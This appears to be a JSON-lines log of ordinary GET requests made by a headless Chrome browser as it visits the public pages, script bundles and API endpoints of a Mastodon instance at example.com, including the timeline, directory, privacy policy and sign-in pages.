{"method": "GET", "target": "/api/v1/custom_emojis", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "content-type: application/json", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/utils-B19lL5A9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/simple-RcjHIGVG.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/callout-B1KuUxns.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/instance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/custom_emojis", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "content-type: application/json", "if-none-match: W/\"4f53cda18c2baa0c0354bb5f9a3ecbe5\"", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance/extended_description", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/about", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-spring_web.modern-C6ohYUSs.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/useAccount-JT03O9Xk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/add-B5d0-_pA.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/explore", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/public/local", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-dom-BddMPX6d.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/alternate_email-CGhoCIc4.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/use_fetch_familiar_followers-RmTfxbbk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/public?local=true&only_media=false", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/public/local", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@admin", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/oops.png", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/@admin", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/tags/python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/directory", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/collection_preview_card-DpSW2KW7.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/skip_links-BaPrB3L_.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/block-Dj44I8vY.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/directory?order=active&local=true&limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/directory", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/privacy-policy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/dist-CIbpS4C0.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/store-Dt6FPjVX.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/more_horiz-Cw-tO3hE.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/roboto-medium-webfont-BrZc3cua.woff2", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/packs/assets/themes/default-DkDM-a1D.css", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance/privacy_policy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/privacy-policy", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/sign_up", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=l4Lwoj0nimDxQwHldqeE%2BPPAw3285xl9sBYXqM%2FdWW3TqvOvgSpLSbVO5qu1hHU6w8EWpBX1T40XffQeFH8QRAzeQkJYypURndjIE%2FKYs4zwmnD4mfqNWFiJl4VlhV%2Bdo4E6%2FNqzrZnyHiib1hgq2wNW5wo3YlOkPEBZ5JNuuWBWjLysghvHBXwY2Y9bgIQYyAb6RmygeUWGBoPpvotNU4ufoXtZkmyVUNY2OLXyNE9N4wp81SdsipS7FbLDurlgm%2B7nr4NtPm6BJSTwdqKFDsF1gDDxwN%2Bb39LZbY0rNJDfqEXNSjBQALON8ftB15l5xM69Zei9YQa8MdKhi2hKIe3KFFzCEjWv%2B%2BbSRgS8ej2ZjEnpp3a6hD3OFruKg9Pe6DYQGjgR%2FlxxDU186KvssSja5o7DGcY7Vxq10%2F2rmIEnQh7bAFJOU0Nc1LCYz0s4TIUxzpB%2Bo3Nk--JfoicU1CsbrXhd%2BK--sbY69PRXh2DQ6wrhk7eIgA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/auth/password/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=T6vV7m4VPpBCRmR4Kxf0H58KC2eM0qu3kr%2FtUtM78EUir2IestUb%2FO%2BDwaeTFuiATNySVGyutbCVsp%2BKuQ95gdytF17HvdTKFFif7GVtQs3dnm7oTgk6AR56VYkQ71Cs90%2BI5IHn8uw5ok900QnVVvlaZ5hPmKD9LoMZTEw34EFG0Rog%2FAPV7Dg7nVndfuT8yRVDdJHLCc%2Fu3aqf%2FtBdC85IOGhqJFEPnSvGigLRkT0pvdDXPUWu4NOqYTPDu9gauO0bbgCSOc5ABSCKoOlR3G%2FE%2BizOM1lG2Q%3D%3D--MtDgty1ilcIMYJDP--Aje3yrIKjiRXza5GKGrbFA%3D%3D"], "body": ""}
|
||||||
|
